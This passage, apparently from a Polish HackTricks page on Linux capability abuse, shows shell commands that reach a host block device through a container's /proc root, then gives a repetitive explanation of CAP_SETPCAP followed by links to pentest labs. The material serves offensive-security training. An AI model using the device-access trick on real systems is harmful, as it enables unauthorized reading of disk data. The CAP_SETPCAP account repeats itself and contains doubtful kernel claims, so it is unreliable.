ps aux | grep -i container_name | grep -i standarduser
# Assuming the found PID is 12345
# Access the container's filesystem and the special block device
head /proc/12345/root/dev/sdb

To podejście pozwala standardowemu użytkownikowi na dostęp i potencjalne odczytanie danych z /dev/sdb przez kontener, wykorzystując współdzielone przestrzenie nazw użytkowników i uprawnienia ustawione na urządzeniu.

CAP_SETPCAP

CAP_SETPCAP umożliwia procesowi zmianę zestawów uprawnień innego procesu, co pozwala na dodawanie lub usuwanie uprawnień z zestawów efektywnych, dziedzicznych i dozwolonych. Jednak proces może modyfikować tylko te uprawnienia, które posiada w swoim własnym dozwolonym zestawie, co zapewnia, że nie może podnieść uprawnień innego procesu ponad swoje własne. Ostatnie aktualizacje jądra zaostrzyły te zasady, ograniczając CAP_SETPCAP do jedynie zmniejszania uprawnień w swoim własnym lub dozwolonym zestawie jego potomków, mając na celu złagodzenie ryzyk bezpieczeństwa. Użycie wymaga posiadania CAP_SETPCAP w zestawie efektywnym oraz docelowych uprawnień w zestawie dozwolonym, wykorzystując capset() do modyfikacji. To podsumowuje podstawową funkcję i ograniczenia CAP_SETPCAP, podkreślając jego rolę w zarządzaniu uprawnieniami i poprawie bezpieczeństwa.

CAP_SETPCAP to uprawnienie w systemie Linux, które pozwala procesowi na modyfikację zestawów uprawnień innego procesu. Daje możliwość dodawania lub usuwania uprawnień z efektywnych, dziedzicznych i dozwolonych zestawów uprawnień innych procesów. Jednak istnieją pewne ograniczenia dotyczące tego, jak to uprawnienie może być używane.

Proces z CAP_SETPCAP może jedynie przyznawać lub usuwać uprawnienia, które znajdują się w jego własnym dozwolonym zestawie uprawnień. Innymi słowy, proces nie może przyznać uprawnienia innemu procesowi, jeśli sam go nie posiada. To ograniczenie zapobiega podnoszeniu uprawnień innego procesu ponad własny poziom uprawnień.

Co więcej, w ostatnich wersjach jądra, uprawnienie CAP_SETPCAP zostało dodatkowo ograniczone. Nie pozwala już procesowi na dowolną modyfikację zestawów uprawnień innych procesów. Zamiast tego pozwala jedynie procesowi na obniżenie uprawnień w swoim własnym dozwolonym zestawie uprawnień lub w dozwolonym zestawie uprawnień jego potomków. Ta zmiana została wprowadzona w celu zmniejszenia potencjalnych ryzyk bezpieczeństwa związanych z tym uprawnieniem.

Aby skutecznie używać CAP_SETPCAP, musisz mieć to uprawnienie w swoim efektywnym zestawie uprawnień oraz docelowe uprawnienia w swoim dozwolonym zestawie uprawnień. Możesz następnie użyć wywołania systemowego capset(), aby modyfikować zestawy uprawnień innych procesów.

Podsumowując, CAP_SETPCAP pozwala procesowi na modyfikację zestawów uprawnień innych procesów, ale nie może przyznać uprawnień, których sam nie posiada. Dodatkowo, z powodu obaw o bezpieczeństwo, jego funkcjonalność została ograniczona w ostatnich wersjach jądra, aby pozwalać jedynie na redukcję uprawnień w swoim własnym dozwolonym zestawie uprawnień lub w dozwolonych zestawach uprawnień jego potomków.

References

Większość tych przykładów pochodzi z niektórych laboratoriów https://attackdefense.pentesteracademy.com/, więc jeśli chcesz ćwiczyć te techniki privesc, polecam te laboratoria.

Inne odniesienia:

• https://vulp3cula.gitbook.io/hackers-grimoire/post-exploitation/privesc-linux

• https://www.schutzwerk.com/en/43/posts/linux_container_capabilities/#:~:text=Inherited%20capabilities%3A%20A%20process%20can,a%20binary%2C%20e.g.%20using%20setcap%20.

• https://linux-audit.com/linux-capabilities-101/

• https://www.linuxjournal.com/article/5737

• https://0xn3va.gitbook.io/cheat-sheets/container/escaping/excessive-capabilities#cap_sys_module

• https://labs.withsecure.com/publications/abusing-the-access-to-mount-namespaces-through-procpidroot

​

RootedCON to najważniejsze wydarzenie związane z cyberbezpieczeństwem w Hiszpanii i jedno z najważniejszych w Europie. Z misją promowania wiedzy technicznej, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologii i cyberbezpieczeństwa w każdej dziedzinie.

RootedCONRootedCON

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie dla HackTricks

• Sprawdź plany subskrypcyjne!

• Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.

• Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na GitHubie.